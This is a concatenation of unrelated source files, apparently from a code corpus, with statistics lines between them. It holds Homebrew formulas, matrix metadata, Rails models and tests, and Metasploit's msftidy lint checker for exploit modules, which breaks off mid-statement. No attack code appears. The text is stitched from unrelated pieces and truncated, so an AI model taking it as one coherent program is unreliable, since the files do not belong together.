class Newt < Formula desc "Library for color text mode, widget based user interfaces" homepage "https://fedorahosted.org/newt/" url "https://fedorahosted.org/releases/n/e/newt/newt-0.52.18.tar.gz" sha256 "771b0e634ede56ae6a6acd910728bb5832ac13ddb0d1d27919d2498dab70c91e" revision 1 bottle do cellar :any sha256 "87bfa0e43bd4bfecdedc8995fbd509bb7a7b4f94ea932f203ae95fd037a91eb3" => :el_capitan sha256 "9df1357a08367454f2588dbe414ebce74352cdd230262ee7d08ab4ec169b3019" => :yosemite sha256 "44f755d2e9f16c715366b80b2c1fe65b73c42b486453e71c45c2702e32e61e10" => :mavericks end depends_on "gettext" depends_on "popt" depends_on "s-lang" # build dylibs with -dynamiclib; version libraries # Patch via MacPorts patch :p0 do url "https://raw.githubusercontent.com/Homebrew/formula-patches/0eb53878/newt/patch-Makefile.in.diff" sha256 "6672c253b42696fdacd23424ae0e07af6d86313718e06cd44e40e532a892db16" end def install args = ["--prefix=#{prefix}", "--without-tcl"] inreplace "Makefile.in" do |s| # name libraries correctly # https://bugzilla.redhat.com/show_bug.cgi?id=1192285 s.gsub! "libnewt.$(SOEXT).$(SONAME)", "libnewt.$(SONAME).dylib" s.gsub! "libnewt.$(SOEXT).$(VERSION)", "libnewt.$(VERSION).dylib" # don't link to libpython.dylib # causes https://github.com/Homebrew/homebrew/issues/30252 # https://bugzilla.redhat.com/show_bug.cgi?id=1192286 s.gsub! "`$$pyconfig --ldflags`", '"-undefined dynamic_lookup"' s.gsub! "`$$pyconfig --libs`", '""' end system "./configure", *args system "make", "install" end test do ENV["TERM"] = "xterm" system "python", "-c", "import snack" (testpath/"test.c").write <<-EOS.undent #import <newt.h> int main() { newtInit(); newtFinished(); } EOS system ENV.cc, testpath/"test.c", "-o", testpath/"newt_test", "-lnewt" system testpath/"newt_test" end end
33.033333
105
0.687689
e98a9880ab1b1a1bdbc27b02c5c88140d899f04a
1,008
{ matrix_id: '1360', name: 'Si2', group: 'PARSEC', description: 'Real-space pseudopotential method. Zhou, Saad, Tiago, Chelikowsky, Univ MN', author: 'Y. Zhou, Y. Saad, M. Tiago, J. Chelikowsky', editor: 'T. Davis', date: '2005', kind: 'theoretical/quantum chemistry problem', problem_2D_or_3D: '0', num_rows: '769', num_cols: '769', nonzeros: '17801', num_explicit_zeros: '0', num_strongly_connected_components: '1', num_dmperm_blocks: '1', structural_full_rank: 'true', structural_rank: '769', pattern_symmetry: '1.000', numeric_symmetry: '1.000', rb_type: 'real', structure: 'symmetric', cholesky_candidate: 'yes', positive_definite: 'no', norm: '4.138131e+01', min_singular_value: '2.422115e-01', condition_number: '1.708478e+02', svd_rank: '769', sprank_minus_rank: '0', null_space_dimension: '0', full_numerical_rank: 'yes', image_files: 'Si2.png,Si2_svd.png,Si2_graph.gif,', }
29.647059
94
0.641865
1cc5e6fc8de2359a33acb8084faf7416aa241305
1,361
module CPP module Helpers def self.generateWrapperText(lineStart, extraFnName, inArgs, initArgs, call, ret, resVar) ls = lineStart olLs = lineStart + " " returnVal = "" if (resVar) returnVal = "\n#{olLs}return #{resVar};" end extra = "" if (initArgs.length != 0) extra = initArgs.join("\n#{olLs}") + "\n\n#{olLs}" end return "#{ls}#{ret} #{extraFnName}(#{inArgs}) #{ls}{ #{olLs}#{extra}#{call};#{returnVal} #{ls}}" end def self.argType(arg) type = :value if (arg.isPointer) type = :pointer elsif (arg.isLValueReference) type = :reference end return type end class WrapperArg def initialize(type, source, inoutExtra=nil, accessor="") @source = source @type = type @inoutSource = inoutExtra @inputType = accessor end attr_reader :type, :source, :inoutSource def callAccessor if (@inputType == :pointer) return "&" end return "" end def dataAccessor if (@inputType == :pointer) return "*" end return "" end end class OutputArg def initialize(type, name) @type = type @name = name end attr_reader :type, :name end end end
18.902778
93
0.528288
5d56866a65160d649d63c2643161aa14cf2c7dcd
3,840
class Opencv < Formula desc "Open source computer vision library" homepage "https://opencv.org/" url "https://github.com/opencv/opencv/archive/4.5.0.tar.gz" sha256 "dde4bf8d6639a5d3fe34d5515eab4a15669ded609a1d622350c7ff20dace1907" license "Apache-2.0" revision 5 livecheck do url :stable regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do rebuild 1 sha256 "fd07e9e14a616f2c102c4320bf5ba2506fb9252c9bcd9f3cea50e4f3f3311a3d" => :big_sur sha256 "09507319a272578c791e692cae9a6e3bade605eed2615c5c475a5780c91ad38f" => :arm64_big_sur sha256 "9b514e40de4aa6dcea79b5d186e7a82b015ede3dbc3d286bd4068f60398c7c4a" => :catalina sha256 "6780702cdf026eeda53e5a255363bf2a76e7492ed9cf5881288c4c7502e50f9b" => :mojave end depends_on "cmake" => :build depends_on "pkg-config" => :build depends_on "ceres-solver" depends_on "eigen" depends_on "ffmpeg" depends_on "glog" depends_on "harfbuzz" depends_on "jpeg" depends_on "libpng" depends_on "libtiff" depends_on "numpy" depends_on "openblas" depends_on "openexr" depends_on "protobuf" depends_on "[email protected]" depends_on "tbb" depends_on "vtk" depends_on "webp" resource "contrib" do url "https://github.com/opencv/opencv_contrib/archive/4.5.0.tar.gz" sha256 "a65f1f0b98b2c720abbf122c502044d11f427a43212d85d8d2402d7a6339edda" end def install ENV.cxx11 resource("contrib").stage buildpath/"opencv_contrib" # Avoid Accelerate.framework ENV["OpenBLAS_HOME"] = Formula["openblas"].opt_prefix # Reset PYTHONPATH, workaround for https://github.com/Homebrew/homebrew-science/pull/4885 ENV.delete("PYTHONPATH") args = std_cmake_args + %W[ -DCMAKE_OSX_DEPLOYMENT_TARGET= -DBUILD_JASPER=OFF -DBUILD_JPEG=OFF -DBUILD_OPENEXR=OFF -DBUILD_PERF_TESTS=OFF -DBUILD_PNG=OFF -DBUILD_PROTOBUF=OFF -DBUILD_TESTS=OFF -DBUILD_TIFF=OFF -DBUILD_WEBP=OFF -DBUILD_ZLIB=OFF -DBUILD_opencv_hdf=OFF -DBUILD_opencv_java=OFF -DBUILD_opencv_text=ON -DOPENCV_ENABLE_NONFREE=ON -DOPENCV_EXTRA_MODULES_PATH=#{buildpath}/opencv_contrib/modules -DOPENCV_GENERATE_PKGCONFIG=ON -DPROTOBUF_UPDATE_FILES=ON -DWITH_1394=OFF -DWITH_CUDA=OFF -DWITH_EIGEN=ON -DWITH_FFMPEG=ON -DWITH_GPHOTO2=OFF -DWITH_GSTREAMER=OFF -DWITH_JASPER=OFF -DWITH_OPENEXR=ON -DWITH_OPENGL=OFF -DWITH_QT=OFF -DWITH_TBB=ON -DWITH_VTK=ON -DBUILD_opencv_python2=OFF -DBUILD_opencv_python3=ON -DPYTHON3_EXECUTABLE=#{Formula["[email protected]"].opt_bin}/python3 ] if Hardware::CPU.intel? args << "-DENABLE_AVX=OFF" << "-DENABLE_AVX2=OFF" args << "-DENABLE_SSE41=OFF" << "-DENABLE_SSE42=OFF" unless MacOS.version.requires_sse42? end mkdir "build" do system "cmake", "..", *args inreplace "modules/core/version_string.inc", "#{HOMEBREW_SHIMS_PATH}/mac/super/", "" system "make" system "make", "install" system "make", "clean" system "cmake", "..", "-DBUILD_SHARED_LIBS=OFF", *args inreplace "modules/core/version_string.inc", "#{HOMEBREW_SHIMS_PATH}/mac/super/", "" system "make" lib.install Dir["lib/*.a"] lib.install Dir["3rdparty/**/*.a"] end end test do (testpath/"test.cpp").write <<~EOS #include <opencv2/opencv.hpp> #include <iostream> int main() { std::cout << CV_VERSION << std::endl; return 0; } EOS system ENV.cxx, "-std=c++11", "test.cpp", "-I#{include}/opencv4", "-o", "test" assert_equal `./test`.strip, version.to_s output = shell_output(Formula["[email protected]"].opt_bin/"python3 -c 'import cv2; print(cv2.__version__)'") assert_equal version.to_s, output.chomp end end
29.767442
106
0.678385
337e9a32752640809fa3b0988a3ffb5aaf6d098c
1,912
class Picture < ApplicationRecord # Callbacks before_save :unset_current_profile_or_cover, if: Proc.new { |picture| picture.picture_type.present? && Picture::PictureType::ALL.include?(picture.picture_type) } # Scopes # Associations belongs_to :imageable, polymorphic: true # Constants module PictureType PROFILE = 'profile' COVER = 'cover' ALL = Picture::PictureType.constants.map{ |status| Picture::PictureType.const_get(status) }.flatten.uniq end module ImagableType USER = 'User' POST = 'Post' ALL = Picture::ImagableType.constants.map{ |status| Picture::ImagableType.const_get(status) }.flatten.uniq end enum picture_type: [:profile, :cover] # Validations has_attached_file :image, styles: AppSettings[:picture][:styles].symbolize_keys, convert_options: AppSettings[:picture][:convert_options].symbolize_keys validates_attachment :image, content_type: { content_type: AppSettings['picture']['content_types'] }, presence: true, size: { in: 0..AppSettings['picture']['max_allowed_size'].megabytes } validates :picture_type, allow_nil: true, inclusion: { in: Picture::PictureType::ALL } validates :imageable_type, inclusion: { in: Picture::ImagableType::ALL, allow_nil: true } validate :imageable_only_user, on: :create, if: -> (record) { record.picture_type.present? } # Class methods # Instance methods def owner self.imageable_type == ImagableType::USER ? self.imageable : self.imageable.user end def url(size = :original) image.url(size) end def unset_current_profile_or_cover picture = self.imageable.pictures.send(self.picture_type).first picture.update(picture_type: nil) if picture.present? end def imageable_only_user errors.add(:picture, _('errors.pictures.imageable_type_not_applicable', type: self.picture_type) ) if self.imageable_type == ImagableType::POST end end
33.54386
163
0.733264
3875dc39e0109ce89398d260aa4847da810a2f8d
84
class ShortArtworkSerializer < ActiveModel::Serializer attributes :title, :id end
21
54
0.809524
38f16ac318968be33f0cdf5ca5f203b0e338a402
58
class Dashboard::HomeController < DashboardController end
19.333333
53
0.862069
1a8398a01c1ef922b35009969286185dec5963ce
199
class FixErrorInRegion < ActiveRecord::Migration[5.2] def change remove_column :regions, :adminstration_id change_table :regions do |t| t.references :administration end end end
22.111111
53
0.728643
62f3a1c2156bd3b9107351ddcb046539cdaf44c9
1,634
require "test_helper" class UsersLoginTest < ActionDispatch::IntegrationTest def setup @user = users(:michael) end test "login with invalid email/invalid password" do get login_path assert_template 'sessions/new' post login_path, params: { session: { email: @user.email, password: "invalid" } } assert_not is_logged_in? assert_template 'sessions/new' assert_not flash.empty? get root_path assert flash.empty? end test "login with valid information followed by logout" do get login_path assert_template 'sessions/new' post login_path, params: { session: { email: @user.email, password: "password" } } assert is_logged_in? assert_redirected_to @user follow_redirect! assert_template 'users/show' assert_select "a[href=?]", login_path, count: 0 assert_select "a[href=?]", logout_path assert_select "a[href=?]", user_path(@user) delete logout_path assert_not is_logged_in? assert_redirected_to root_url delete logout_path follow_redirect! assert_select "a[href=?]", login_path assert_select "a[href=?]", logout_path, count: 0 assert_select "a[href=?]", user_path(@user), count: 0 end test "login with remembering" do log_in_as(@user, remember_me: '1') assert_equal cookies[:remember_token], assigns(:user).remember_token end test "login without remembering" do log_in_as(@user, remember_me: '1') delete logout_path log_in_as(@user, remember_me: '0') assert_empty cookies[:remember_token] end end
29.709091
72
0.670747
2860913301809b1cd121c434fe1e1794d5ddf45b
1,098
module C100App class ChildrenDecisionTree < BaseDecisionTree def destination return next_step if next_step case step_name when :add_another_name edit(:names) when :names_finished edit(:personal_details, id: next_record_id) when :personal_details edit(:orders, id: record) # TODO: refinement to bypass `orders` when children < 2 when :orders after_orders when :additional_details edit(:has_other_children) when :has_other_children after_has_other_children else raise InvalidStep, "Invalid step '#{as || step_params}'" end end private def after_orders if next_record_id edit(:personal_details, id: next_record_id) else edit(:additional_details) end end def after_has_other_children if question(:has_other_children).yes? edit('/steps/other_children/names') else edit('/steps/applicant/names') end end def next_record_id super(c100_application.child_ids) end end end
23.361702
89
0.648452
87c97cced9a4e2445e7d929a5bdb109397140813
320
class SecureHeadersWhitelister def self.extract_domain(url) url.split('//')[1].split('/')[0] end def self.csp_with_sp_redirect_uris(action_url_domain, sp_redirect_uris) csp_uris = ["'self'", action_url_domain] csp_uris |= sp_redirect_uris.compact if sp_redirect_uris.present? csp_uris end end
22.857143
73
0.734375
790f1eb224c76ab2f29719b99a8dd68d30c7243e
24,011
#!/usr/bin/env ruby # -*- coding: binary -*- # # Check (recursively) for style compliance violations and other # tree inconsistencies. # # by jduck, todb, and friends # require 'fileutils' require 'find' require 'time' CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES'] SUPPRESS_INFO_MESSAGES = !!ENV['MSF_SUPPRESS_INFO_MESSAGES'] TITLE_WHITELIST = %w{ a an and as at avserve callmenum configdir connect debug docbase dtspcd execve file for from getinfo goaway gsad hetro historysearch htpasswd ibstat id in inetd iseemedia jhot libxslt lmgrd lnk load main map migrate mimencode multisort name net netcat nodeid ntpd nttrans of on onreadystatechange or ovutil path pbot pfilez pgpass pingstr pls popsubfolders prescan readvar relfile rev rexec rlogin rsh rsyslog sa sadmind say sblistpack spamd sreplace tagprinter the tnftp to twikidraw udev uplay user username via welcome with ypupdated zsudo } if CHECK_OLD_RUBIES require 'rvm' warn "This is going to take a while, depending on the number of Rubies you have installed." end class String def red "\e[1;31;40m#{self}\e[0m" end def yellow "\e[1;33;40m#{self}\e[0m" end def green "\e[1;32;40m#{self}\e[0m" end def cyan "\e[1;36;40m#{self}\e[0m" end def ascii_only? self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true end end class Msftidy # Status codes OK = 0x00 WARNINGS = 0x10 ERRORS = 0x20 # Some compiles regexes REGEX_MSF_EXPLOIT = / \< Msf::Exploit/ REGEX_IS_BLANK_OR_END = /^\s*end\s*$/ attr_reader :full_filepath, :source, :stat, :name, :status def initialize(source_file) @full_filepath = source_file @module_type = File.dirname(File.expand_path(@full_filepath))[/\/modules\/([^\/]+)/, 1] @source = load_file(source_file) @lines = @source.lines # returns an enumerator @status = OK @name = File.basename(source_file) end public # # Display a warning message, given some text and a number. Warnings # are usually style issues that may be okay for people who aren't core # Framework developers. # # @return status [Integer] Returns WARNINGS unless we already have an # error. def warn(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'WARNING'.yellow}] #{cleanup_text(txt)}" @status == ERRORS ? @status = ERRORS : @status = WARNINGS end # # Display an error message, given some text and a number. Errors # can break things or are so egregiously bad, style-wise, that they # really ought to be fixed. # # @return status [Integer] Returns ERRORS def error(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'ERROR'.red}] #{cleanup_text(txt)}" @status = ERRORS end # Currently unused, but some day msftidy will fix errors for you. def fixed(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'FIXED'.green}] #{cleanup_text(txt)}" end # # Display an info message. Info messages do not alter the exit status. # def info(txt, line=0) return if SUPPRESS_INFO_MESSAGES line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'INFO'.cyan}] #{cleanup_text(txt)}" end ## # # The functions below are actually the ones checking the source code # ## def check_mode unless (@stat.mode & 0111).zero? warn("Module should not be marked executable") end end def check_shebang if @lines.first =~ /^#!/ warn("Module should not have a #! line") end end # Updated this check to see if Nokogiri::XML.parse is being called # specifically. The main reason for this concern is that some versions # of libxml2 are still vulnerable to XXE attacks. REXML is safer (and # slower) since it's pure ruby. Unfortunately, there is no pure Ruby # HTML parser (except Hpricot which is abandonware) -- easy checks # can avoid Nokogiri (most modules use regex anyway), but more complex # checks tends to require Nokogiri for HTML element and value parsing. def check_nokogiri msg = "Using Nokogiri in modules can be risky, use REXML instead." has_nokogiri = false has_nokogiri_xml_parser = false @lines.each do |line| if has_nokogiri if line =~ /Nokogiri::XML\.parse/ or line =~ /Nokogiri::XML::Reader/ has_nokogiri_xml_parser = true break end else has_nokogiri = line_has_require?(line, 'nokogiri') end end error(msg) if has_nokogiri_xml_parser end def check_ref_identifiers in_super = false in_refs = false @lines.each do |line| if !in_super and line =~ /\s+super\(/ in_super = true elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ in_super = false break end if in_super and line =~ /["']References["'][[:space:]]*=>/ in_refs = true elsif in_super and in_refs and line =~ /^[[:space:]]+\],*/m break elsif in_super and in_refs and line =~ /[^#]+\[[[:space:]]*['"](.+)['"][[:space:]]*,[[:space:]]*['"](.+)['"][[:space:]]*\]/ identifier = $1.strip.upcase value = $2.strip case identifier when 'CVE' warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}\-\d{4,}$/ when 'OSVDB' warn("Invalid OSVDB format: '#{value}'") if value !~ /^\d+$/ when 'BID' warn("Invalid BID format: '#{value}'") if value !~ /^\d+$/ when 'MSB' warn("Invalid MSB format: '#{value}'") if value !~ /^MS\d+\-\d+$/ when 'MIL' warn("milw0rm references are no longer supported.") when 'EDB' warn("Invalid EDB reference") if value !~ /^\d+$/ when 'US-CERT-VU' warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ when 'ZDI' warn("Invalid ZDI reference") if value !~ /^\d{2}-\d{3}$/ when 'WPVDB' warn("Invalid WPVDB reference") if value !~ /^\d+$/ when 'PACKETSTORM' warn("Invalid PACKETSTORM reference") if value !~ /^\d+$/ when 'URL' if value =~ /^http:\/\/www\.osvdb\.org/ warn("Please use 'OSVDB' for '#{value}'") elsif value =~ /^http:\/\/cvedetails\.com\/cve/ warn("Please use 'CVE' for '#{value}'") elsif value =~ /^http:\/\/www\.securityfocus\.com\/bid\// warn("Please use 'BID' for '#{value}'") elsif value =~ /^http:\/\/www\.microsoft\.com\/technet\/security\/bulletin\// warn("Please use 'MSB' for '#{value}'") elsif value =~ /^http:\/\/www\.exploit\-db\.com\/exploits\// warn("Please use 'EDB' for '#{value}'") elsif value =~ /^http:\/\/www\.kb\.cert\.org\/vuls\/id\// warn("Please use 'US-CERT-VU' for '#{value}'") elsif value =~ /^https:\/\/wpvulndb\.com\/vulnerabilities\// warn("Please use 'WPVDB' for '#{value}'") elsif value =~ /^https?:\/\/(?:[^\.]+\.)?packetstormsecurity\.(?:com|net|org)\// warn("Please use 'PACKETSTORM' for '#{value}'") end end end end end # See if 'require "rubygems"' or equivalent is used, and # warn if so. Since Ruby 1.9 this has not been necessary and # the framework only suports 1.9+ def check_rubygems @lines.each do |line| if line_has_require?(line, 'rubygems') warn("Explicitly requiring/loading rubygems is not necessary") break end end end # Does the given line contain a require/load of the specified library? def line_has_require?(line, lib) line =~ /^\s*(require|load)\s+['"]#{lib}['"]/ end def check_snake_case_filename sep = File::SEPARATOR good_name = Regexp.new "^[a-z0-9_#{sep}]+\.rb$" unless @name =~ good_name warn "Filenames should be alphanum and snake case." end end def check_comment_splat if @source =~ /^# This file is part of the Metasploit Framework and may be subject to/ warn("Module contains old license comment.") end end def check_old_keywords max_count = 10 counter = 0 if @source =~ /^##/ @lines.each do |line| # If exists, the $Id$ keyword should appear at the top of the code. # If not (within the first 10 lines), then we assume there's no # $Id$, and then bail. break if counter >= max_count if line =~ /^#[[:space:]]*\$Id\$/i warn("Keyword $Id$ is no longer needed.") break end counter += 1 end end if @source =~ /["']Version["'][[:space:]]*=>[[:space:]]*['"]\$Revision\$['"]/ warn("Keyword $Revision$ is no longer needed.") end end def check_verbose_option if @source =~ /Opt(Bool|String).new\([[:space:]]*('|")VERBOSE('|")[[:space:]]*,[[:space:]]*\[[[:space:]]*/ warn("VERBOSE Option is already part of advanced settings, no need to add it manually.") end end def check_badchars badchars = %Q|&<=>| in_super = false in_author = false @lines.each do |line| # # Mark our "super" code block # if !in_super and line =~ /\s+super\(/ in_super = true elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ in_super = false break end # # While in super() code block # if in_super and line =~ /["']Name["'][[:space:]]*=>[[:space:]]*['|"](.+)['|"]/ # Now we're checking the module titlee mod_title = $1 mod_title.each_char do |c| if badchars.include?(c) error("'#{c}' is a bad character in module title.") end end if not mod_title.ascii_only? error("Please avoid unicode or non-printable characters in module title.") end # Since we're looking at the module title, this line clearly cannot be # the author block, so no point to run more code below. next end # XXX: note that this is all very fragile and regularly incorrectly parses # the author # # Mark our 'Author' block # if in_super and !in_author and line =~ /["']Author["'][[:space:]]*=>/ in_author = true elsif in_super and in_author and line =~ /\],*\n/ or line =~ /['"][[:print:]]*['"][[:space:]]*=>/ in_author = false end # # While in 'Author' block, check for malformed authors # if in_super and in_author if line =~ /Author['"]\s*=>\s*['"](.*)['"],/ author_name = Regexp.last_match(1) elsif line =~ /Author/ author_name = line.scan(/\[[[:space:]]*['"](.+)['"]/).flatten[-1] || '' else author_name = line.scan(/['"](.+)['"]/).flatten[-1] || '' end if author_name =~ /^@.+$/ error("No Twitter handles, please. Try leaving it in a comment instead.") end if not author_name.ascii_only? error("Please avoid unicode or non-printable characters in Author") end unless author_name.empty? author_open_brackets = author_name.scan('<').size author_close_brackets = author_name.scan('>').size if author_open_brackets != author_close_brackets error("Author has unbalanced brackets: #{author_name}") end end end end end def check_extname if File.extname(@name) != '.rb' error("Module should be a '.rb' file, or it won't load.") end end def check_old_rubies return true unless CHECK_OLD_RUBIES return true unless Object.const_defined? :RVM puts "Checking syntax for #{@name}." rubies ||= RVM.list_strings res = %x{rvm all do ruby -c #{@full_filepath}}.split("\n").select {|msg| msg =~ /Syntax OK/} error("Fails alternate Ruby version check") if rubies.size != res.size end def is_exploit_module? ret = false if @source =~ REGEX_MSF_EXPLOIT # having Msf::Exploit is good indicator, but will false positive on # specs and other files containing the string, but not really acting # as exploit modules, so here we check the file for some actual contents # this could be done in a simpler way, but this let's us add more later msf_exploit_line_no = nil @lines.each_with_index do |line, idx| if line =~ REGEX_MSF_EXPLOIT # note the line number msf_exploit_line_no = idx elsif msf_exploit_line_no # check there is anything but empty space between here and the next end # something more complex could be added here if line !~ REGEX_IS_BLANK_OR_END # if the line is not 'end' and is not blank, prolly exploit module ret = true break else # then keep checking in case there are more than one Msf::Exploit msf_exploit_line_no = nil end end end end ret end def check_ranking return unless is_exploit_module? available_ranks = [ 'ManualRanking', 'LowRanking', 'AverageRanking', 'NormalRanking', 'GoodRanking', 'GreatRanking', 'ExcellentRanking' ] if @source =~ /Rank \= (\w+)/ if not available_ranks.include?($1) error("Invalid ranking. You have '#{$1}'") end else info('No Rank specified. The default is NormalRanking. Please add an explicit Rank value.') end end def check_disclosure_date return if @source =~ /Generic Payload Handler/ # Check disclosure date format if @source =~ /["']DisclosureDate["'].*\=\>[\x0d\x20]*['\"](.+)['\"]/ d = $1 #Captured date # Flag if overall format is wrong if d =~ /^... \d{1,2}\,* \d{4}/ # Flag if month format is wrong m = d.split[0] months = [ 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' ] error('Incorrect disclosure month format') if months.index(m).nil? else error('Incorrect disclosure date format') end else error('Exploit is missing a disclosure date') if is_exploit_module? end end def check_title_casing if @source =~ /["']Name["'][[:space:]]*=>[[:space:]]*['"](.+)['"],*$/ words = $1.split words.each do |word| if TITLE_WHITELIST.include?(word) next elsif word =~ /^[a-z]+$/ warn("Suspect capitalization in module title: '#{word}'") end end end end def check_bad_terms # "Stack overflow" vs "Stack buffer overflow" - See explanation: # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx if @module_type == 'exploit' && @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i warn('Contains "stack overflow" You mean "stack buffer overflow"?') elsif @module_type == 'auxiliary' && @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i warn('Contains "stack overflow" You mean "stack exhaustion"?') end end def check_bad_super_class # skip payloads, as they don't have a super class return if @module_type == 'payloads' # get the super class in an ugly way unless (super_class = @source.scan(/class Metasploit(?:\d|Module)\s+<\s+(\S+)/).flatten.first) error('Unable to determine super class') return end prefix_super_map = { 'auxiliary' => /^Msf::Auxiliary$/, 'exploits' => /^Msf::Exploit(?:::Local|::Remote)?$/, 'encoders' => /^(?:Msf|Rex)::Encoder/, 'nops' => /^Msf::Nop$/, 'post' => /^Msf::Post$/ } if prefix_super_map.key?(@module_type) unless super_class =~ prefix_super_map[@module_type] error("Invalid super class for #{@module_type} module (found '#{super_class}', expected something like #{prefix_super_map[@module_type]}") end else warn("Unexpected and potentially incorrect super class found ('#{super_class}')") end end def check_function_basics functions = @source.scan(/def (\w+)\(*(.+)\)*/) functions.each do |func_name, args| # Check argument length args_length = args.split(",").length warn("Poorly designed argument list in '#{func_name}()'. Try a hash.") if args_length > 6 end end def check_bad_class_name if @source =~ /^\s*class (Metasploit\d+)\s*</ warn("Please use 'MetasploitModule' as the class name (you used #{Regexp.last_match(1)})") end end def check_lines url_ok = true no_stdio = true in_comment = false in_literal = false src_ended = false idx = 0 @lines.each do |ln| idx += 1 # block comment awareness if ln =~ /^=end$/ in_comment = false next end in_comment = true if ln =~ /^=begin$/ next if in_comment # block string awareness (ignore indentation in these) in_literal = false if ln =~ /^EOS$/ next if in_literal in_literal = true if ln =~ /\<\<-EOS$/ # ignore stuff after an __END__ line src_ended = true if ln =~ /^__END__$/ next if src_ended if ln =~ /[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]/ error("Unicode detected: #{ln.inspect}", idx) end if ln =~ /[ \t]$/ warn("Spaces at EOL", idx) end # Check for mixed tab/spaces. Upgrade this to an error() soon. if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.match(/\x20\x09|\x09\x20/)) warn("Space-Tab mixed indent: #{ln.inspect}", idx) end # Check for tabs. Upgrade this to an error() soon. if (ln.length > 1) and (ln =~ /^\x09/) warn("Tabbed indent: #{ln.inspect}", idx) end if ln =~ /\r$/ warn("Carriage return EOL", idx) end url_ok = false if ln =~ /\.com\/projects\/Framework/ if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/ if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/ warn("File.open without binary mode", idx) end end if ln =~/^[ \t]*load[ \t]+[\x22\x27]/ error("Loading (not requiring) a file: #{ln.inspect}", idx) end # The rest of these only count if it's not a comment line next if ln =~ /^[[:space:]]*#/ if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/ next if ln =~ /^[\s]*["][^"]+\$std(?:out|err)/ no_stdio = false error("Writes to stdout", idx) end # do not read Set-Cookie header (ignore commented lines) if ln =~ /^(?!\s*#).+\[['"]Set-Cookie['"]\](?!\s*=[^=~]+)/i warn("Do not read Set-Cookie header directly, use res.get_cookies instead: #{ln}", idx) end # Auxiliary modules do not have a rank attribute if ln =~ /^\s*Rank\s*=\s*/ && @module_type == 'auxiliary' warn("Auxiliary modules have no 'Rank': #{ln}", idx) end if ln =~ /^\s*def\s+(?:[^\(\)#]*[A-Z]+[^\(\)]*)(?:\(.*\))?$/ warn("Please use snake case on method names: #{ln}", idx) end if ln =~ /^\s*fail_with\(/ unless ln =~ /^\s*fail_with\(Failure\:\:(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),/ error("fail_with requires a valid Failure:: reason as first parameter: #{ln}", idx) end end if ln =~ /['"]ExitFunction['"]\s*=>/ warn("Please use EXITFUNC instead of ExitFunction #{ln}", idx) end end end def check_vuln_codes checkcode = @source.scan(/(Exploit::)?CheckCode::(\w+)/).flatten[1] if checkcode and checkcode !~ /^Unknown|Safe|Detected|Appears|Vulnerable|Unsupported$/ error("Unrecognized checkcode: #{checkcode}") end end def check_vars_get test = @source.scan(/send_request_cgi\s*\(\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) unless test.empty? test.each { |item| info("Please use vars_get in send_request_cgi: #{item}") } end end def check_newline_eof if @source !~ /(?:\r\n|\n)\z/m info('Please add a newline at the end of the file') end end def check_sock_get if @source =~ /\s+sock\.get(\s*|\(|\d+\s*|\d+\s*,\d+\s*)/m && @source !~ /sock\.get_once/ info('Please use sock.get_once instead of sock.get') end end def check_udp_sock_get if @source =~ /udp_sock\.get/m && @source !~ /udp_sock\.get\([a-zA-Z0-9]+/ info('Please specify a timeout to udp_sock.get') end end # At one point in time, somebody committed a module with a bad metasploit.com URL # in the header -- http//metasploit.com/download rather than http://metasploit.com/download. # This module then got copied and committed 20+ times and is used in numerous other places. # This ensures that this stops. def check_invalid_url_scheme test = @source.scan(/^#.+http\/\/(?:www\.)?metasploit.com/) unless test.empty? test.each { |item| info("Invalid URL: #{item}") } end end # Check for (v)print_debug usage, since it doesn't exist anymore # # @see https://github.com/rapid7/metasploit-framework/issues/3816 def check_print_debug if @source =~ /print_debug/ error('Please don\'t use (v)print_debug, use vprint_(status|good|error|warning) instead') end end # Check for modules registering the DEBUG datastore option # # @see https://github.com/rapid7/metasploit-framework/issues/3816 def check_register_datastore_debug if @source =~ /Opt.*\.new\(["'](?i)DEBUG(?-i)["']/ error('Please don\'t register a DEBUG datastore option, it has an special meaning and is used for development') end end # Check for modules using the DEBUG datastore option # # @see https://github.com/rapid7/metasploit-framework/issues/3816 def check_use_datastore_debug if @source =~ /datastore\[["'](?i)DEBUG(?-i)["']\]/ error('Please don\'t use the DEBUG datastore option in production, it has an special meaning and is used for development') end end # # Run all the msftidy checks. # def run_checks check_mode check_shebang check_nokogiri check_rubygems check_ref_identifiers check_old_keywords check_verbose_option check_badchars check_extname check_old_rubies check_ranking check_disclosure_date check_title_casing check_bad_terms check_bad_super_class check_bad_class_name check_function_basics check_lines check_snake_case_filename check_comment_splat check_vuln_codes check_vars_get check_newline_eof check_sock_get check_udp_sock_get check_invalid_url_scheme check_print_debug check_register_datastore_debug check_use_datastore_debug end private def load_file(file) f = open(file, 'rb') @stat = f.stat buf = f.read(@stat.size) f.close return buf end def cleanup_text(txt) # remove line breaks txt = txt.gsub(/[\r\n]/, ' ') # replace multiple spaces by one space txt.gsub(/\s{2,}/, ' ') end end ## # # Main program # ## if __FILE__ == $PROGRAM_NAME dirs = ARGV @exit_status = 0 if 